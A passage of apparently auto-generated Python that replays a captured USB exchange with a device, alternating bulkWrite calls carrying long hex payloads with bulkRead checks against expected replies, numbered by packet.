b\"\\x49\\x96\\xFF\\x11\\xEF\\xCE\\x80\\xD2\\xA8\\x38\\x22\\xB6\\xF4\\xF0\\xAE\\x01\"\n b\"\\x53\\x4A\\xD5\\xC7\\xCA\\xC8\\x39\\xB8\\x73\\x15\\x53\\x7B\\x48\\x89\\xB4\\xC6\"\n b\"\\x18\\x08\\x4E\\x29\\x26\\x43\\xC6\\x29\\xF9\\xE0\\x92\\x09\\xB3\\x15\\xF9\\x8C\"\n b\"\\xB8\\x1D\\x16\\xBE\\xFD\\x5C\\x6B\\xA5\\x18\\x56\\x93\\x42\\x68\\xEA\\x91\\x8A\"\n b\"\\x25\\xB4\\x84\\x55\\x6E\\x30\\xF8\\xDD\\xEB\\x6E\\xBE\\xCE\\x27\\x4D\\x86\\x43\"\n b\"\\xFD\\x44\\xE6\\x19\\xBD\\x20\\x3F\\xE5\\x44\\x13\\x11\\x18\\x5D\\x71\\x3E\\x01\"\n b\"\\x42\\xD8\\x48\\x5E\\x17\\x79\\x47\\xF3\\xA7\\x49\\x5B\\xD0\\xBE\\x3C\\xDD\\x71\"\n b\"\\x32\\xFD\\x2C\\x70\\x1C\\x0A\\x3B\\x87\\x45\\xD1\\x96\\x11\\x31\\xD9\\xB6\\xB6\"\n b\"\\x74\\x38\\xBF\\x1E\\x24\\x73\\x7E\\x51\\x20\\x3D\\xDB\\xFF\\x5C\\x0C\\xCE\\xCF\"\n b\"\\xCB\\x49\\xA9\\x6B\\xCF\\xE1\\x7A\\x7D\\x23\\x8D\\x0A\\x51\\x18\\xC2\\xB1\\x8F\"\n b\"\\xA4\\x17\\x4C\\xE2\\x55\\x53\\xAE\\xB8\\xD6\\xB3\\xA7\\x93\\x02\\x6A\\x22\\x71\"\n b\"\\x3D\\x71\\x0C\\xB5\\x77\\x97\\xAA\\x46\\xC9\\x6E\\xD3\\x36\\x7E\\x7C\\x8F\\x8D\"\n b\"\\xA8\\xE3\\x7C\\x00\\x5C\\x2E\\xEA\\x07\\xB3\\x47\\xF0\\x1B\\x51\\x97\\x20\\xB5\"\n b\"\\x8C\\x15\\x28\\xE0\\x88\\xD1\\x05\\x59\\x24\\x2E\\x57\\xB3\\x43\\x74\\xC0\\xA5\"\n b\"\\x9B\\xD8\\xF3\\x5D\\xC2\\x5D\\xB7\\x8F\\x35\\x3C\\x8F\\x5C\\x2B\\x81\\xF4\\x4D\"\n b\"\\x38\\xF4\\x4E\\x0D\\xC5\\x92\\x96\\x83\\x43\\x9D\\x78\\x94\")\n # Generated from packet 1727/1728\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1727/1728\")\n # Generated from packet 1729/1730\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA5\\x73\\xDF\\x37\\x1E\\x0C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB6\\x02\\xCE\\x84\\x2F\\xF4\\x91\\x5E\"\n b\"\\x9E\\x91\\x30\\xB6\\x41\\x04\\x6F\\xEF\\x2C\\xF6\\x34\\xBC\\x51\\x92\\xBB\\x3C\"\n b\"\\xB0\\xD1\\xE7\\x06\\x7A\\x10\\x0B\\xB3\\x4C\\x8F\\x00\\xE6\\x9C\\xFC\\xC3\\x2F\"\n b\"\\x86\\xED\\xC2\\xCF\\x8D\\x1D\\x2C\\x55\\x68\\x12\\x1A\\xD0\\xB3\\x3B\\x68\\x04\"\n b\"\\x53\\xB9\\x7D\\x1A\\xAC\\x12\\x32\\xCC\\x87\\x95\\xF3\\xE1\\xE1\\x59\\xEB\\x15\"\n b\"\\xB0\\x29\\x1A\\x25\\x65\\x28\\xA5\\x27\\xCD\\x4B\\x97\\xEE\\xDF\\x9C\\x8A\\x94\"\n b\"\\xAE\\x7E\\x96\\xA4\\x1D\\xE8\\x0E\\x2B\\x9A\\x0A\\xE6\\x28\\xE5\\x69\\xBB\\x03\"\n b\"\\x15\\x53\\x64\\x2E\\x66\\x22\\x57\\xE6\\xAC\\xF7\\xCA\\x7B\\x21\\x99\\x72\\xE8\"\n b\"\\xB0\\x86\\x30\\x34\\xA9\\x51\\xF1\\x5B\\x3D\\x3C\\xAE\\x86\\x04\\x20\\x14\\x8E\"\n b\"\\x73\\x0E\\xA7\\x4C\\x46\\x7D\\x82\\xE6\\xB7\\x02\\xA2\\xBC\\x93\\xE6\\x0F\\x75\"\n b\"\\xB8\\x64\\x94\\x95\\xEE\\xC2\\xAC\\x5D\\xF0\\x3E\\x16\\x53\\x69\\x79\\x26\\x78\"\n b\"\\x0C\\x00\\x91\\x36\\x6C\\x3A\\x0E\\x2D\\x41\\x2E\\x1A\\x50\\xDD\\x9A\\x02\\x17\"\n b\"\\xB4\\xAC\\xB8\\x8C\\x3D\\xCC\\xF0\\x42\\x96\\xC7\\x27\\x46\\xA4\\xC9\\x05\\x95\"\n b\"\\x47\\x48\\x3D\\xC9\\x90\\x12\\x02\\x35\\x66\\xD6\\xCC\\x64\\x7C\\xD5\\x06\\x6E\"\n b\"\\xCA\\x4F\\xE9\\x76\\x7B\\x6C\\xA0\\x16\\x29\\xE7\\xF1\\x9A\\xE1\\x24\\xAE\\xC1\"\n b\"\\x3A\\xEB\\x85\\x80\\x49\\x3D\\x58\\x1B\\x92\\x07\\xFE\\x33\\x79\\xBE\\xF8\\xEB\"\n b\"\\x00\\x37\\x12\\x9E\\x5D\\x51\\xA5\\xB3\\x53\\x43\\x98\\xF7\")\n # Generated from packet 1731/1732\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1731/1732\")\n # Generated from packet 1733/1734\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x66\\x97\\x7C\\x87\\x20\\x21\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x38\\xD0\\x0A\\xFD\\xC9\\x83\\x19\\xE2\"\n b\"\\x28\\x49\\x7D\\xEA\\xBE\\x85\\xE9\\x6B\\xE4\\xB3\\xAA\\x08\\x1B\\xD8\\x81\\x00\"\n b\"\\xF3\\xCB\\x32\\x29\\xAD\\x3C\\x9F\\x84\\x8A\\x7D\\x13\\x32\\xDF\\xE3\\x70\\x6D\"\n b\"\\x5E\\xF1\\x85\\x5A\\x67\\x15\\xA0\\x05\\x50\\x6E\\xAF\\x89\\x0A\\x07\\x67\\xB0\"\n b\"\\x5D\\xA8\\x5D\\xB6\\x33\\x86\\x2A\\x38\\x3C\\xB3\\x8A\\x4B\\x02\\x7B\\x6A\\xE7\"\n b\"\\x1B\\x6A\\x94\\x4C\\xCB\\xB0\\x28\\x09\\xDB\\xBC\\x18\\x79\\xDA\\x1A\\xF7\\x85\"\n b\"\\xD1\\xB2\\xF4\\x3C\\xF4\\xAF\\x3E\\xE8\\xB5\\x0F\\x42\\xFB\\xA5\\x13\\xCA\\xB7\"\n b\"\\x28\\xF8\\x53\\xBB\\x01\\x6B\\x5C\\xD6\\x2A\\xCA\\x9D\\x40\\x5C\\xD6\\x5C\\x92\"\n b\"\\xC1\\x58\\x1D\\xBD\\xED\\xC9\\xB8\\xC1\\x0B\\x6A\\x31\\xCD\\x1D\\x5A\\xCF\\x6C\"\n b\"\\x7A\\xD7\\xB4\\xA4\\xE7\\xC0\\x95\\x1C\\x6E\\x69\\xA9\\xE8\\xC2\\x51\\xB8\\xF4\"\n b\"\\x2D\\x39\\xDC\\xF1\\x86\\xF2\\xE9\\x52\\x11\\xA8\\x82\\x79\\x93\\x2D\\x4C\\xE6\"\n b\"\\xA2\\x97\\x8A\\x97\\x25\\x8D\\x97\\xE9\\x8B\\x62\\x29\\x39\\xB0\\x7E\\x65\\xAE\"\n b\"\\x15\\x49\\xA7\\x95\\xE2\\x3B\\x5C\\x60\\x27\\x17\\x09\\x45\\x2D\\xF7\\xC7\\x5D\"\n b\"\\x09\\xD3\\x96\\x72\\xC8\\xD1\\x86\\xC8\\x78\\xC2\\x50\\x10\\xA0\\xC8\\xFF\\x90\"\n b\"\\xB5\\x91\\x90\\xDA\\x16\\x71\\x81\\x32\\x72\\x83\\xAC\\x02\\xB8\\xA1\\xB0\\xD5\"\n b\"\\x74\\x38\\xF3\\x5B\\x4C\\x96\\x4D\\xF2\\xC2\\x75\\x89\\xE8\\x39\\x57\\x33\\x9C\"\n b\"\\xCF\\x5B\\xDA\\xB6\\xA5\\x9D\\x7A\\x9F\\x2A\\x68\\x81\\x17\")\n # Generated from packet 1735/1736\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1735/1736\")\n # Generated from packet 1737/1738\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x42\\x34\\x40\\xEC\\x1D\\x72\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x70\\xD5\\x77\\x78\\x5F\\x70\\x17\"\n b\"\\x3D\\x32\\x1A\\x85\\x5D\\xBA\\xC4\\x0F\\x3A\\x7D\\x3B\\x35\\xEC\\xEB\\x3E\\x8D\"\n b\"\\x63\\xB1\\xF1\\x4E\\xD7\\x24\\x05\\xDF\\x60\\x22\\x3C\\xA6\\x63\\x9C\\x34\\x3B\"\n b\"\\x6A\\xB8\\x12\\x88\\xC2\\xF4\\x3F\\x83\\x04\\x5C\\x40\\x8C\\x89\\x87\\x28\\x7A\"\n b\"\\x90\\x6B\\x09\\x82\\x5A\\x08\\xF5\\x99\\x6D\\xA0\\x02\\xB4\\x09\\xCA\\xF5\\xA5\"\n b\"\\x84\\x40\\x2F\\xB4\\xE7\\xCC\\xE8\\xA0\\x4A\\x1C\\xFF\\x1D\\x7C\\x76\\x3C\\x47\"\n b\"\\x5E\\x39\\xA6\\xF3\\xF5\\x49\\xD3\\x99\\xFE\\x4A\\xF7\\x80\\x7C\\x83\\x69\\x48\"\n b\"\\x53\\x43\\xC7\\x75\\x01\\xE8\\x43\\x67\\xA9\\xC2\\xAC\\xD7\\x52\\x43\\x90\\xA1\"\n b\"\\xEE\\x55\\x92\\x0D\\xDD\\xE2\\xD2\\xBD\\x0E\\xB5\\x22\\x14\\x99\\x8D\\x38\\xD4\"\n b\"\\xB1\\x3E\\x5F\\xCA\\x94\\x02\\x5D\\xE4\\x1C\\x6C\\xF9\\xCA\\x3E\\x64\\xA1\\x7A\"\n b\"\\xAA\\x58\\xA5\\x24\\x92\\xCA\\x2E\\x92\\x3A\\xC4\\x1B\\x43\\x46\\x5F\\x76\\x5B\"\n b\"\\x09\\xDD\\x1F\\x9E\\x68\\x09\\xC0\\x10\\x71\\xD6\\xFB\\xFE\\x4C\\x52\\x22\\x74\"\n b\"\\x49\\x69\\x74\\xD7\\xB8\\x2C\\x39\\xB7\\x4A\\x28\\x8C\\xD8\\x3C\\xFE\\x5E\\x98\"\n b\"\\xD9\\xCB\\x45\\xE5\\xFD\\x96\\xB3\\x3E\\xF0\\xA5\\x14\\x6E\\xE5\\xE7\\x12\\xD7\"\n b\"\\x6F\\xA0\\xFC\\x18\\x38\\x63\\x98\\xDF\\xDC\\xF9\\x50\\xFD\\xD4\\x76\\x22\\x94\"\n b\"\\xB4\\x9A\\xD7\\x71\\x86\\x42\\x4C\\x3D\\x56\\x06\\x3C\\x92\\x1E\\x69\\x74\\xCB\"\n b\"\\x43\\xAB\\xC1\\xE3\\x5B\\x42\\x32\\x69\\xE7\\x0B\\x62\\xAB\")\n # Generated from packet 1739/1740\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1739/1740\")\n # Generated from packet 1741/1742\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x73\\xE3\\x39\\x9B\\xCB\\x1D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x77\\xBD\\x07\\xB7\\x1C\\x90\\xC9\\x28\"\n b\"\\x9A\\x54\\xE6\\xAE\\x26\\x4A\\xC8\\xE3\\x2F\\x2A\\x78\\x98\\xC3\\x8D\\x49\\xAC\"\n b\"\\x3D\\x75\\x5B\\xEB\\x14\\x00\\x9F\\xB4\\xB8\\x2C\\x17\\x7D\\x55\\xCA\\x76\\xED\"\n b\"\\x2A\\x78\\x48\\xFC\\x3A\\xE1\\xCC\\xA0\\x73\\x40\\xA2\\x7D\\x7A\\x45\\x41\\xEE\"\n b\"\\xFA\\x3D\\xC3\\xFA\\x03\\xB7\\xBC\\x3B\\x8E\\x62\\x78\\xEA\\x3E\\xB5\\xED\\x20\"\n b\"\\x1B\\x1F\\x19\\xB0\\x2F\\xAF\\x0E\\x08\\x10\\x93\\x6C\\x4B\\xBE\\xE8\\xA9\\xCC\"\n b\"\\xF4\\x6A\\x5E\\xB9\\xF0\\x77\\x2F\\x00\\x2C\\x41\\xF8\\xCF\\x2D\\xAC\\x21\\x72\"\n b\"\\x3E\\x2D\\x34\\xC0\\xB7\\x2B\\x50\\xC6\\xEE\\xF1\\x14\\x32\\x91\\x46\\x0A\\x53\"\n b\"\\xA5\\x5F\\x42\\xBE\\xC5\\xD1\\x92\\xA8\\xF5\\x38\\x28\\xC3\\xE4\\x43\\x0D\\x73\"\n b\"\\x03\\x8D\\xCC\\x31\\xC2\\x99\\xE3\\xB4\\xA2\\x68\\x18\\xD0\\x90\\x36\\x7A\\x28\"\n b\"\\x62\\x8F\\xBA\\x94\\x57\\xCF\\xA3\\x18\\xF9\\x28\\xE4\\x66\\x45\\x7D\\x03\\x19\"\n b\"\\xA6\\xCB\\x8A\\x7F\\x5A\\x4F\\x06\\xED\\x28\\x18\\x78\\xE6\\xA0\\xAC\\xA5\\xD4\"\n b\"\\xEE\\x75\\x94\\xC8\\x2C\\x15\\xD0\\xF7\\xB8\\xB7\\x03\\xB9\\x53\\x8B\\x5C\\xF2\"\n b\"\\xD7\\x07\\x2F\\x3B\\x47\\xC1\\xB9\\xDC\\x12\\x7E\\xC1\\xB5\\x6B\\x3D\\xB7\\x5E\"\n b\"\\xAE\\x4A\\xB3\\x76\\xCA\\x38\\xE8\\xC3\\x23\\x2E\\xA0\\xE6\\x20\\x3B\\xF7\\x27\"\n b\"\\x51\\x48\\xF1\\x23\\x0D\\x3B\\x58\\x26\\xC5\\xCD\\xD0\\xB9\\x09\\x3D\\x2A\\x7F\"\n b\"\\xA9\\x4A\\x0D\\xDB\\x79\\xED\\x8F\\xD8\\x19\\x8E\\x8C\\xCD\")\n # Generated from packet 1743/1744\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1743/1744\")\n # Generated from packet 1745/1746\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA3\\xFE\\xA7\\x6E\\xC2\\x12\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x09\\x50\\xFD\\x44\\x06\\xC1\\xC9\\x53\"\n b\"\\x3E\\x28\\x18\\x43\\xDA\\x15\\x35\\x15\\x2D\\x5A\\x9A\\x0C\\x76\\x48\\x17\\x1E\"\n b\"\\xFF\\x79\\xBC\\xA4\\x52\\x6D\\xC6\\xE1\\x55\\xA3\\x61\\xC3\\xC3\\x67\\x85\\x40\"\n b\"\\x84\\x76\\x3F\\x4C\\x1E\\x50\\x88\\xB3\\x28\\xE4\\x50\\x4F\\x99\\x8D\\x97\\x64\"\n b\"\\x9B\\x79\\x26\\xA5\\xF6\\x99\\x1E\\xB6\\xAE\\x6A\\xFC\\x5C\\x01\\x9D\\xE0\\xC5\"\n b\"\\x61\\xBB\\xD0\\x8D\\x4A\\xF8\\x91\\xF2\\x89\\x76\\x70\\x2F\\xE2\\x78\\x4C\\x93\"\n b\"\\x5B\\x5E\\x89\\x13\\x18\\x64\\x59\\xE9\\xB3\\x91\\xFB\\x50\\xCB\\x5B\\x0E\\xEF\"\n b\"\\x65\\x71\\xF9\\x66\\xCE\\x71\\x56\\x83\\x63\\x4B\\x17\\x4A\\xBD\\x88\\xB8\\xEE\"\n b\"\\x02\\x8D\\x35\\xEA\\x53\\xFA\\x8C\\x5B\\x26\\x40\\x22\\x46\\xCF\\x50\\x94\\x3B\"\n b\"\\xF4\\x3B\\xC2\\xFC\\x36\\xC6\\x86\\xE4\\x31\\x1C\\xB8\\x7C\\x71\\x2E\\x80\\xE9\"\n b\"\\xA5\\xB2\\x7B\\x47\\x1B\\x38\\xFE\\x97\\x76\\x45\\xC3\\x14\\x54\\xC1\\x29\\x78\"\n b\"\\x2E\\x4B\\x2D\\xB2\\xDC\\xC0\\xE7\\x65\\xA7\\x4C\\x93\\xD6\\x20\\x4F\\x49\\x8E\"\n b\"\\x54\\x32\\x9C\\xA1\\x01\\x86\\xD8\\x1D\\x81\\x7C\\xA3\\xF6\\x09\\xED\\xB5\\x3A\"\n b\"\\x93\\x47\\xA9\\xAE\\x60\\x57\\x5D\\x7C\\xEE\\x9C\\x67\\x05\\x7F\\xB4\\x8E\\x29\"\n b\"\\xAC\\xBA\\x67\\x3A\\x7B\\x40\\x68\\x41\\xC0\\xE1\\x26\\x64\\xA5\\xC3\\xC3\\xBF\"\n b\"\\xC6\\xDE\\x47\\x5B\\xA1\\xAB\\xD3\\x92\\x1B\\x7B\\x0E\\x21\\x0F\\x44\\xA0\\xFA\"\n b\"\\x0B\\x9C\\x71\\x09\\xC0\\xC3\\x96\\x18\\x51\\xD2\\x7E\\xAF\")\n # Generated from packet 1747/1748\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1747/1748\")\n # Generated from packet 1749/1750\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1E\\x9B\\x0D\\x9B\\x03\\x10\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x42\\x57\\x07\\x61\\xCB\\x72\\x6C\\xDB\"\n b\"\\xA6\\x85\\xAB\\x77\\xE6\\xF9\\xA5\\x1A\\x7D\\x44\\x95\\x29\\xEA\\xA1\\x09\\xDD\"\n b\"\\x3E\\x44\\x78\\x49\\xA1\\x87\\x66\\xB1\\xDA\\xC8\\xC3\\xAE\\xC9\\x7F\\xCF\\xB1\"\n b\"\\x45\\xBE\\x49\\x70\\x8F\\x1B\\x0C\\xC0\\xE9\\x56\\x90\\x4B\\x11\\x92\\xE6\\x09\"\n b\"\\x9E\\xE4\\x8C\\x51\\x27\\x88\\x97\\xCF\\x8E\\x89\\xB1\\x2C\\x24\\xAE\\x8A\\xF7\"\n b\"\\x67\\x7A\\x22\\x18\\xFF\\x84\\x80\\x53\\x71\\x21\\x07\\x77\\xE9\\x31\\xF9\\x77\"\n b\"\\x93\\xCB\\x4D\\x5C\\xC2\\x53\\x36\\xD0\\x0D\\x6C\\x93\\xD7\\x46\\xEE\\xA5\\xFA\"\n b\"\\xFC\\x32\\x18\\x86\\x15\\x78\\x9C\\x3C\\xEA\\x45\\x06\\xF8\\x09\\x94\\x09\\x4E\"\n b\"\\xEF\\xF6\\xF1\\x35\\x3E\\x9A\\xE5\\x9C\\x3A\\x53\\x84\\x0F\\x4E\\xD4\\x7E\\x05\"\n b\"\\x4B\\xCC\\x8C\\xD5\\x47\\xD2\\x7E\\xD9\\x8D\\x68\\xE3\\x3F\\x57\\xF1\\xC9\\x24\"\n b\"\\x57\\x70\\xB5\\xF6\\xA3\\x6E\\x20\\x48\\xA0\\xF0\\xAB\\x9F\\xAB\\xD9\\x4F\\x3A\"\n b\"\\xE2\\x5B\\x03\\x77\\xA3\\xBA\\xD2\\xDD\\x20\\xAF\\x58\\x42\\xBB\\xDE\\xA0\\x01\"\n b\"\\xEF\\x57\\xA9\\xEC\\x1A\\x44\\x8D\\x5C\\xFA\\x50\\xCC\\x75\\xD8\\xF4\\x3F\\x91\"\n b\"\\x17\\xD0\\x84\\xCE\\xC3\\x92\\x09\\xE1\\xDD\\x8E\\x58\\x0A\\xEE\\x98\\x22\\x31\"\n b\"\\x16\\xDD\\xE1\\xA1\\xC2\\x18\\x89\\xE4\\xD7\\x3F\\x79\\xE8\\xAA\\xCC\\xDC\\x81\"\n b\"\\xE6\\x6C\\xB4\\x17\\x1E\\xCE\\x23\\x2D\\x6F\\x2F\\x92\\xF0\\x2F\\x19\\x92\\x13\"\n b\"\\x18\\x49\\xC3\\xAC\\xCE\\xF9\\x22\\x0A\\x40\\x06\\xB8\\xD4\")\n # Generated from packet 1751/1752\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1751/1752\")\n # Generated from packet 1753/1754\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEB\\xC5\\xD0\\xDF\\x3F\\x77\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7C\\x04\\x39\\xEE\\x88\\x95\\x45\\x01\"\n b\"\\xF1\\xC9\\x20\\x05\\xCF\\xE6\\x2B\\x7B\\xAD\\xB5\\x01\\x49\\xE0\\x92\\x77\\x63\"\n b\"\\x56\\x9C\\x10\\x95\\x03\\xCC\\xAC\\xE0\\xE3\\xBC\\x4E\\x87\\x2E\\xBD\\x62\\x69\"\n b\"\\x7F\\xCD\\x4F\\xFB\\xEE\\xB2\\xA2\\xB4\\x88\\x1A\\x08\\x07\\x3D\\x56\\xC6\\xA9\"\n b\"\\xC2\\x6E\\x8A\\xED\\xA1\\x6F\\xC0\\x4D\\xAF\\xE7\\x9B\\x37\\x64\\x4A\\x8E\\x2C\"\n b\"\\xA5\\xB6\\x70\\x9C\\xE4\\x5D\\x70\\xB8\\xB5\\x86\\x4E\\x61\\x35\\x6B\\x9F\\xD3\"\n b\"\\x77\\xE3\\x73\\x77\\x14\\xDE\\x8C\\xF9\\xF9\\x02\\x68\\x92\\x58\\x99\\xDA\\xB8\"\n b\"\\x8F\\xA9\\xCF\\x76\\x4A\\xF5\\xB6\\x14\\x3C\\xCD\\x9B\\xF0\\xF1\\xFD\\x6E\\x16\"\n b\"\\xDF\\xD0\\x0A\\xC4\\x1E\\xAD\\xD6\\x0F\\x50\\x64\\xA1\\xA1\\xA0\\x1D\\xB2\\xC7\"\n b\"\\xFA\\xCB\\xC0\\x7B\\x10\\xD5\\xA2\\xDE\\x1A\\x09\\xB7\\xC2\\xFD\\xA0\\x85\\x21\"\n b\"\\x90\\xE3\\x5F\\x04\\x35\\x1E\\xD5\\x08\\x81\\x6F\\xC5\\x5A\\xD0\\x7C\\x35\\x2F\"\n b\"\\xDF\\x5E\\xBC\\x8C\\x87\\x88\\x41\\x7A\\x4F\\x84\\xF0\\x3E\\x2D\\xA5\\xBD\\x2A\"\n b\"\\xA8\\x9B\\x07\\x40\\xE1\\xED\\x79\\xB7\\x72\\xD0\\xDA\\x0B\\x33\\x8A\\x1E\\x38\"\n b\"\\x38\\xFE\\x58\\x9C\\xFD\\xBA\\xED\\x14\\x74\\x4A\\x80\\x9D\\xD8\\xB8\\x2C\\xDA\"\n b\"\\x7B\\x4D\\x51\\xA4\\x6F\\xF1\\xAC\\x58\\x55\\x93\\x89\\x1F\\xBD\\x4A\\xAD\\x0B\"\n b\"\\x62\\x8A\\xC8\\x1A\\x5B\\xEA\\xCA\\x1A\\xE4\\xA0\\x5E\\xAE\\x7E\\xCB\\xA9\\x28\"\n b\"\\xF8\\x10\\x72\\xB8\\x65\\x5D\\x1D\\xBA\\xC1\\x88\\xE3\\x22\")\n # Generated from packet 1755/1756\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1755/1756\")\n # Generated from packet 1757/1758\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x44\\x9D\\xDA\\xC1\\x41\\x0A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD6\\xFE\\xCC\\xA8\\xF5\\x08\\xA7\\x45\"\n b\"\\xAF\\xE3\\xB2\\xF4\\xCB\\x45\\xD7\\x47\\xDE\\x9B\\x88\\xB0\\x28\\x7F\\x84\\x31\"\n b\"\\xE5\\xD0\\xEC\\x8C\\x85\\x9E\\xA1\\xDD\\x20\\x7F\\x2B\\x7F\\xFA\\x25\\x43\\xC9\"\n b\"\\xA2\\xFA\\x25\\x10\\x93\\x1B\\x37\\xD7\\x0D\\xEF\\x50\\x42\\x6F\\x07\\x5C\\x16\"\n b\"\\x7A\\xB8\\x3C\\xD6\\x8C\\x05\\x3D\\xE2\\x61\\x35\\x95\\xA4\\xC2\\xDA\\x97\\xFE\"\n b\"\\xEC\\x27\\x71\\x96\\xC0\\x9D\\x9E\\xD4\\x3A\\xCC\\x5D\\xC7\\x60\\xA1\\x7E\\xCD\"\n b\"\\x0E\\xF8\\x8A\\x27\\x1F\\xB8\\x08\\xFF\\x57\\x3B\\x53\\xF7\\x16\\x33\\x5C\\x3E\"\n b\"\\xC8\\x19\\xAB\\x81\\xED\\x1B\\x9F\\x28\\xD7\\x7E\\x16\\xFE\\x0F\\x3C\\x72\\xF6\"\n b\"\\x1A\\x6C\\x80\\xF2\\xC5\\x9D\\x6D\\xD3\\xC7\\xB3\\x8A\\x5C\\x22\\xF7\\x51\\x54\"\n b\"\\x5F\\x0A\\xF6\\x1B\\x47\\x07\\xD2\\x2E\\x75\\x38\\x88\\x90\\x5E\\xF1\\xF5\\x3A\"\n b\"\\xBF\\x61\\xE1\\x88\\xD4\\xAD\\x62\\x8F\\x63\\x44\\x81\\x4E\\xA2\\xF7\\x10\\xFC\"\n b\"\\x1B\\xBE\\xE9\\x88\\x31\\x87\\x60\\x95\\xC8\\x5F\\xA5\\xAF\\x89\\x3F\\xDE\\xAF\"\n b\"\\x43\\x76\\x22\\x3A\\xD0\\x78\\x0D\\x99\\xCA\\x4B\\x81\\x84\\x37\\x93\\x22\\x16\"\n b\"\\x10\\x4B\\x38\\xD4\\x99\\x3B\\x19\\xCC\\x27\\x25\\xFD\\x68\\x3A\\x69\\x6C\\xC3\"\n b\"\\xD2\\x1B\\x61\\x83\\xC2\\x4C\\xE7\\xBC\\x43\\x42\\x34\\x3A\\xA2\\x7E\\x8A\\x58\"\n b\"\\x47\\x37\\x21\\x07\\x3A\\x20\\x9D\\xDC\\x33\\x17\\x63\\xB1\\xEE\\x25\\xE3\\xFE\"\n b\"\\x99\\xB6\\x21\\xE9\\xBE\\x4A\\x40\\x90\\x33\\x23\\x25\\x53\")\n # Generated from packet 1759/1760\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1759/1760\")\n # Generated from packet 1761/1762\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6F\\x32\\x8F\\xA0\\x07\\x06\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE4\\x59\\x55\\x24\\x06\\x17\\xE3\\xDE\"\n b\"\\x82\\x30\\x3B\\x70\\x53\\xB7\\x2F\\x81\\x7D\\x73\\x17\\x9C\\x78\\x1E\\x1D\\x46\"\n b\"\\xD6\\xE5\\xCA\\x0F\\x83\\x3D\\xB7\\xC7\\x33\\xA4\\x99\\x8E\\x16\\xF5\\xC8\\x72\"\n b\"\\xBC\\xCA\\xAD\\xFF\\xE2\\xC3\\x89\\xD5\\xFB\\x42\\xD3\\x19\\x95\\xB1\\x6F\\xCD\"\n b\"\\x2D\\x27\\xBD\\x6B\\xB4\\xA4\\x3A\\xBB\\xC9\\xF9\\xFB\\x73\\x0E\\x3F\\x7F\\x2A\"\n b\"\\xB9\\xA1\\x45\\xAC\\x6A\\x2D\\x11\\x73\\x58\\xD8\\xC3\\x36\\x89\\x72\\x3A\\x60\"\n b\"\\xAA\\x07\\xAF\\xDF\\x41\\x1D\\x14\\x1A\\x19\\xB7\\x60\\x4D\\xA3\\x11\\x9A\\xB3\"\n b\"\\xD5\\xD0\\xE5\\xF0\\x20\\xDA\\x7B\\x8D\\xB2\\x18\\x3F\\x66\\xA4\\x7F\\x8A\\x4B\"\n b\"\\xEE\\x17\\x2F\\x7F\\xEA\\x2E\\x51\\x46\\x43\\x1F\\x23\\xA2\\x2D\\xC6\\x0C\\xB8\"\n b\"\\x50\\x47\\xA4\\x47\\x20\\xCD\\x88\\xDC\\x38\\x57\\x58\\xF0\\x2B\\x2A\\xB9\\x24\"\n b\"\\x83\\x7B\\x9A\\xE7\\x51\\xAE\\xD5\\xD2\\xB8\\xA9\\xDD\\x2B\\x6E\\x56\\x00\\x92\"\n b\"\\x36\\x5B\\x21\\xED\\x0F\\x56\\x33\\xD5\\xBD\\xBC\\xDD\\xB8\\x2C\\x3C\\x62\\x9F\"\n b\"\\x65\\x33\\x3A\\x4C\\xFB\\xF2\\x3D\\x7E\\xC6\\x94\\x7E\\xE2\\x30\\x2C\\x77\\x53\"\n b\"\\x14\\x50\\xB8\\xF8\\xD9\\xF5\\x77\\xD2\\xE8\\x78\\x76\\xB0\\x1D\\x98\\x40\\x9E\"\n 